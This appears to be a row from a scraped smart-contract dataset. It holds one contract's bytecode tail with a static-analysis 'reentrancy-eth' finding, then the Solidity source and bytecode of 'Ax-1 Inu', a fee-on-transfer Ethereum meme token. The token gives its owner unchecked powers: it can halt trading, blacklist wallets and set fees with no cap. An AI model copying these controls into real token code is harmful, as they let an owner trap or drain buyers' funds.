01b0389166000908152600260205260409020556115818161174f565b61158b8483611799565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115d091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006115fe828261147c565b82101561161a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116445760405162461bcd60e51b81526004016105f191906119e4565b5060006111ea8486611d2d565b600080600080600080600080600061166e8a600c54600d546117bd565b925092509250600061167e611459565b905060008060006116918e878787611812565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b6000806116fd8385611c70565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611759611459565b905060006117678383611862565b3060009081526002602052604090205490915061178490826116f0565b30600090815260026020526040902055505050565b6006546117a690836116ae565b6006556007546117b690826116f0565b6007555050565b60008080806117d760646117d18989611862565b9061147c565b905060006117ea60646117d18a89611862565b90506000611802826117fc8b866116ae565b906116ae565b9992985090965090945050505050565b60008080806118218886611862565b9050600061182f8887611862565b9050600061183d8888611862565b9050600061184f826117fc86866116ae565b939b939a50919850919650505050505050565b60008260000361187457506000610677565b60006118808385611d4f565b90508261188d8583611d2d565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561191a816118fa565b919050565b6000602080838503121561193257600080fd5b823567ffffffffffffffff8082111561194a57600080fd5b818501915085601f83011261195e57600080fd5b813581811115611970576119706118e4565b8060051b604051601f19603f83011681018181108582111715611995576119956118e4565b6040529182528482019250838101850191888311156119b357600080fd5b938501935b828510156119d8576119c98561190f565b845293850193928501926119b8565b98975050505050505050565b600060208083528351808285015260005b81811015611a11578581018301518582016040015282016119f5565b81811115611a23576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4c57600080fd5b8235611a57816118fa565b946020939093013593505050565b600080600060608486031215611a7a57600080fd5b8335611a85816118fa565b92506020840135611a95816118fa565b929592945050506040919091013590565b600060208284031215611ab857600080fd5b81356112aa816118fa565b8035801515811461191a57600080fd5b600060208284031215611ae557600080fd5b6112aa82611ac3565b600060208284031215611b0057600080fd5b5035919050565b60008060008060808587031215611b1d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b4e57600080fd5b833567ffffffffffffffff80821115611b6657600080fd5b818601915086601f830112611b7a57600080fd5b813581811115611b8957600080fd5b8760208260051b8501011115611b9e57600080fd5b602092830195509350611bb49186019050611ac3565b90509250925092565b60008060408385031215611bd057600080fd5b8235611bdb816118fa565b91506020830135611beb816118fa565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c6957611c69611c41565b5060010190565b60008219821115611c8357611c83611c41565b500190565b600082821015611c9a57611c9a611c41565b500390565b600060208284031215611cb157600080fd5b81516112aa816118fa565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d0c5784516001600160a01b031683529383019391830191600101611ce7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6957611d69611c41565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122019fcbca8e3874111adeec1e6fe7fe192c4042844bba91265a727fdcebecd055464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,396 |
0x6a0cc5d912de40460e3053709b9ad3afec91c979
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/**
Elon Tweet Play
AX-1
Locked Renounced Low Tax Play Anonymous Launch
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract elontweet is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ax-1 Inu";
string private constant _symbol = "Ax-1 Inu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x90719f4E8Ce56eEbcd12d57096ABe724E6D4C60b);
address payable private _marketingAddress = payable(0x90719f4E8Ce56eEbcd12d57096ABe724E6D4C60b);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b50604080518082018252600881526741782d3120496e7560c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe